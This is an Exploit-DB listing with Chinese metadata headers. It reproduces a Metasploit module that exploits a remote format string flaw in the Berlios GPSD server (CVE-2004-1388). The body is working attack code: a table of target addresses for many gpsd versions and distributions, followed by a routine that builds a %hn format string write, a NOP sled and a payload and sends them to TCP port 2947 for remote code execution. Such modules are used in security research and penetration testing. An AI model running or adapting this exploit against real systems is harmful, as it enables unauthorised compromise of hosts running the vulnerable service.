标题: Berlios GPSD - Format String (Metasploit) EDB-ID: 16853 CVE: 2004-1388 类型: REMOTE 平台: LINUX 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: gpsd_format_string.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Berlios GPSD Format String Vulnerability',
   'Description'    => %q{
     This module exploits a format string vulnerability in the Berlios GPSD server.
    This vulnerability was discovered by Kevin Finisterre.
   },
   'Author'         => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2004-1388' ],
     [ 'OSVDB', '13199' ],
     [ 'BID', '12371' ],
     [ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

    ],
   'Platform'       => 'linux',
   'Arch'           => ARCH_X86,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1004,
     'BadChars' => "\x00\x0a\x0d\x0c",

    },
   'Targets'        =>
    [
     [ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
     [ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
     [ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
     [ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
     [ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
     [ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
     [ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
     [ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
     [ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
     [ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
     [ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
     [ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
     [ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
    ],
   'DisclosureDate' => 'May 25 2005'))

  register_options(
   [
    Opt::RPORT(2947)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  offset = 17
  dump_fmt = 7
  al = 3

  hi = (target.ret >> 0) & 0xffff
  lo = (target.ret >> 16) & 0xffff

  shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
  shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)

  buf  = "A" * 3 + "B" * 4
  buf +=  [ target['Syslog']].pack('V')
  buf += "B" * 4
  buf +=  [ target['Syslog'] + 0x2].pack('V')
  buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
  buf += make_nops(3000) + payload.encoded

  sock.put(buf)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16853